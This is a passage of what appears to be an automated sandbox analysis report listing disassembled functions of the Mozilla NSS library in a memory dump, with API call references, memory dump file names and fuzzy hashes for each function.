Part of subcall function 6C7509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C750A35
Part of subcall function 6C7509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C750A66
Part of subcall function 6C7509D0: PR_GetCurrentThread.NSS3 ref: 6C750A70
Part of subcall function 6C7509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C750A9D
Part of subcall function 6C7509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C750AC8
Part of subcall function 6C7509D0: PR_vsmprintf.NSS3(?,?), ref: 6C750AE8
Part of subcall function 6C7509D0: EnterCriticalSection.KERNEL32(?), ref: 6C750B19
Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C750B48
Part of subcall function 6C7509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C750C76
Part of subcall function 6C7509D0: PR_LogFlush.NSS3 ref: 6C750C7E

Strings

nul, xrefs: 6C671D09, 6C671D30
C_Initialize, xrefs: 6C671CD3
pInitArgs = 0x%p, xrefs: 6C671CEC

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nul
API String ID: 1907330108-1969636953
Opcode ID: 91b6579743c897d4b8e1c11c5f86e95fd406bca88afa25af1353b086e84d27a2
Instruction ID: 8b15ccb072bc9cb5f4102fb58ad7ea9797e49a2fcd8d3e16aad2877c4e92225d
Opcode Fuzzy Hash: 91b6579743c897d4b8e1c11c5f86e95fd406bca88afa25af1353b086e84d27a2
Instruction Fuzzy Hash: 13019E763011409FDF209BA5EA5DB5E37B5EBC235AF084836E80D92611DF34D849CBA6

Function 6C6EAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]ml,00000000,?,?,6C6C6AC6,?), ref: 6C6EAC2D

Part of subcall function 6C68ADC0: TlsGetValue.KERNEL32(?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE10
Part of subcall function 6C68ADC0: EnterCriticalSection.KERNEL32(?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE24
Part of subcall function 6C68ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C66D079,00000000,00000001), ref: 6C68AE5A
Part of subcall function 6C68ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE6F
Part of subcall function 6C68ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE7F
Part of subcall function 6C68ADC0: TlsGetValue.KERNEL32(?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AEB1
Part of subcall function 6C68ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AEC9

PK11_FreeSymKey.NSS3(?,@]ml,00000000,?,?,6C6C6AC6,?), ref: 6C6EAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]ml,00000000,?,?,6C6C6AC6,?), ref: 6C6EAC59
free.MOZGLUE(8CB6FF01,6C6C6AC6,?,?,?,?,?,?,?,?,?,?,6C6D5D40,00000000,?,6C6DAAD4), ref: 6C6EAC62

Strings

@]ml, xrefs: 6C6EAC05

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]ml
API String ID: 1595327144-1248002651
Opcode ID: ecd3fb5c0e500c1d0768336a95c1dc3d0b1c670bf64401c9c017a64c248333bb
Instruction ID: 41af555ad1440a9afe6e3ec5cd91fc1d1a000c66b7212c64e49f6a9bd228df7d
Opcode Fuzzy Hash: ecd3fb5c0e500c1d0768336a95c1dc3d0b1c670bf64401c9c017a64c248333bb
Instruction Fuzzy Hash: 71017CB56012009BDB00CF15E8C0B56BBB8AB49B19F1880A9E9498F746D734E809CBA9

Function 6C5D9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5D9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5D9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5D9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5D9DDE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 12a098e9a6966155e7c083534c46452508cd011631e4cd13f682ed50250d09b4
Instruction ID: f9321c12e85e8cb949a7b8e9a16c54c26520b571d866cd381dcb124fa54269c7
Opcode Fuzzy Hash: 12a098e9a6966155e7c083534c46452508cd011631e4cd13f682ed50250d09b4
Instruction Fuzzy Hash: A5A19C31704201DBEB09EF69ECA976E3771BB86315F29013DD4064BA40DF3AA846DB86

Function 6C661E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C661ECC

Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090AB
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090C9
Part of subcall function 6C709090: EnterCriticalSection.KERNEL32 ref: 6C7090E5
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709116
Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C70913F

TlsGetValue.KERNEL32 ref: 6C661EDF
EnterCriticalSection.KERNEL32(?), ref: 6C661EEF
PR_ExitMonitor.NSS3(?), ref: 6C661F37
PR_Unlock.NSS3(?), ref: 6C661F44

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 5e6b488c77f9d56e12f4abd94a27e319ffbc3ebd319ce9f214783fd5ee599c74
Instruction ID: 3f51e6639f2cd7f5931440f28738a311404a6a14bbd42482e22c70ba9a260a73
Opcode Fuzzy Hash: 5e6b488c77f9d56e12f4abd94a27e319ffbc3ebd319ce9f214783fd5ee599c74
Instruction Fuzzy Hash: 8A71ACB1A043019FD700CF26D840A5AB7F1BF89358F144929E8A993B20E731F959CB97

Function 6C6EDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6EDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6EDE77

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 74946ca31a613f8ab33a7e16d922b65a471de2a665911afdede38f2cce0bf84a
Instruction ID: b2c6ae75301916b91a23979963a4b1ea71eeef37b17353d9c100631c05a7f246
Opcode Fuzzy Hash: 74946ca31a613f8ab33a7e16d922b65a471de2a665911afdede38f2cce0bf84a
Instruction Fuzzy Hash: A3718671A0A318CFDB10CF9AC584689B7F4FF89718F25816ED8586B742DB30A902CF84

Function 6C65DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C65AB10: DeleteCriticalSection.KERNEL32(D958E852,6C661397,5B5F5EC0,?,?,6C65B1EE,2404110F,?,?), ref: 6C65AB3C
Part of subcall function 6C65AB10: free.MOZGLUE(D958E836,?,6C65B1EE,2404110F,?,?), ref: 6C65AB49
Part of subcall function 6C65AB10: DeleteCriticalSection.KERNEL32(5D5E6C85), ref: 6C65AB5C
Part of subcall function 6C65AB10: free.MOZGLUE(5D5E6C79), ref: 6C65AB63
Part of subcall function 6C65AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C65AB6F
Part of subcall function 6C65AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C65AB76

TlsGetValue.KERNEL32(?,?,6C65B266,6C6615C6,?,?,6C6615C6), ref: 6C65DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C65B266,6C6615C6,?,?,6C6615C6), ref: 6C65DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C65B266,6C6615C6,?,?,6C6615C6), ref: 6C65E029
PK11_IsLoggedIn.NSS3 ref: 6C65E046

Part of subcall function 6C668F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C668FAF
Part of subcall function 6C668F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C668FD1
Part of subcall function 6C668F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C668FFA
Part of subcall function 6C668F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C669013
Part of subcall function 6C668F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C669042
Part of subcall function 6C668F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C66905A
Part of subcall function 6C668F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C669073
Part of subcall function 6C668F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C669111

PR_Unlock.NSS3(?,?,?,?,6C65B266,6C6615C6,?,?,6C6615C6), ref: 6C65E149

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: c9111e537512244d2e8f33df66c2003c5440e28a093c2de1eb8670ebb359c88f
Instruction ID: 343bd22f1b461ffb3ee55cd479098de3d321b633de8a3dce834851f38f6ab984
Opcode Fuzzy Hash: c9111e537512244d2e8f33df66c2003c5440e28a093c2de1eb8670ebb359c88f
Instruction Fuzzy Hash: 1E516970600601CFDB10DF29C58476ABBF0BF49318F65886DD8998BB51D735E8A4CBDA

Function 6C66BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C66BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C66BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C649F71,?,?,00000000), ref: 6C66BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C66BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C66C014

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: c1e2daa3c4b6e62afb39eb2d083ca30316b7a626fbb065c16b205dcec8c07f87
Instruction ID: 2958c1cd1d1f433442252f899d988c706ab6f2f1477d8285f13b4de6506e819d
Opcode Fuzzy Hash: c1e2daa3c4b6e62afb39eb2d083ca30316b7a626fbb065c16b205dcec8c07f87
Instruction Fuzzy Hash: C041A275A012069BEB00DE67D840BAA73B9AF85308F214139E819D7E51EB31E905DBDA

Function 6C63EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C63EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C63EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C63EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63EEEB
free.MOZGLUE(?), ref: 6C63EEF6

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: b4f1e274b17b579ea2c66fc76452fc7d305af44d4b474ee532a5e6529ca185c5
Instruction ID: aaa13d244aa67dc1ed34d244a07a042e7d11b74fe248ace0943f86c1d0f936a9
Opcode Fuzzy Hash: b4f1e274b17b579ea2c66fc76452fc7d305af44d4b474ee532a5e6529ca185c5
Instruction Fuzzy Hash: 3931F571A002209BEB209F29DC44BA77BF4FB46705F142539E85E87A90DB31EC15CBE9

Function 6C651F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C651F1C

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C769EBC), ref: 6C651FB8
SEC_ASN1EncodeItem_Util.NSS3(6C769E9C,?,?,6C769E9C), ref: 6C65200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C652020

Part of subcall function 6C646A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C64AD50,?,?), ref: 6C646A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C652030

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 107eceaf4851859ad8902c94bb60a079d6f13001f97c37c61070146ed8fae2ae
Instruction ID: dad0990e09ad58b2e0e18288a6b9a576f5ae8812f4bac3da1c0458e5ae731c88
Opcode Fuzzy Hash: 107eceaf4851859ad8902c94bb60a079d6f13001f97c37c61070146ed8fae2ae
Instruction Fuzzy Hash: DF21E9B5901502BBEB014F15DD40FAA77A8FF4631CF644215EC2896F80E732E938C7A9

Function 6C641DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C641E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C641E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C641E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C641E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C641EAD

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 88637302c0af0d48dd03c1bbfefa206bfe523c07c269b29d3fd7579f76bb4197
Instruction ID: a486e77e0c4a8bae6e1b242089f70475adb78b009208b541fa18b47111ead898
Opcode Fuzzy Hash: 88637302c0af0d48dd03c1bbfefa206bfe523c07c269b29d3fd7579f76bb4197
Instruction Fuzzy Hash: 1621F57AE08314ABD7008F68DC40F9B73959B85368F14C638ED695BB80E730D91A87DA

Function 6C751E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C751E5C

Part of subcall function 6C709BF0: TlsGetValue.KERNEL32(?,?,?,6C750A75), ref: 6C709C07

PR_Lock.NSS3(00000000), ref: 6C751E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C751EAB
PR_GetCurrentThread.NSS3 ref: 6C751ED0
PR_Unlock.NSS3(?), ref: 6C751EE8

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 7c680c1d197fed90185e658be615c4be72918b896236e4b8cfae4d7004edce82
Instruction ID: 09a3b8bd8c565ed0d11096155906e0fa3c07bf630dfd13246f81b4d52a991e35
Opcode Fuzzy Hash: 7c680c1d197fed90185e658be615c4be72918b896236e4b8cfae4d7004edce82
Instruction Fuzzy Hash: 0921D074B04512AFD700CF29DA84A06B7B8FF4472ABA58229D8158BB41DB30FC20CBD1

Function 6C69BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C64E708,00000000,00000000,00000004,00000000), ref: 6C69BE6A

Part of subcall function 6C6A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6504DC,?), ref: 6C69BE7E

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C69BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6504DC,?,?), ref: 6C69BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C69BEEB

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: a6ca6c2b0b4c507f95f8e7dd3846fb4f1e3e4722d692e76e006ed994ce37b06a
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 23112766A0431777E7208966AC80F6B736D9BC279CF054125FE0687B52E731DC0487EE

Function 6C64AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C643FFF,00000000,?,?,?,?,?,6C641A1C,00000000,00000000), ref: 6C64ADA7

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C643FFF,00000000,?,?,?,?,?,6C641A1C,00000000,00000000), ref: 6C64ADB4

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
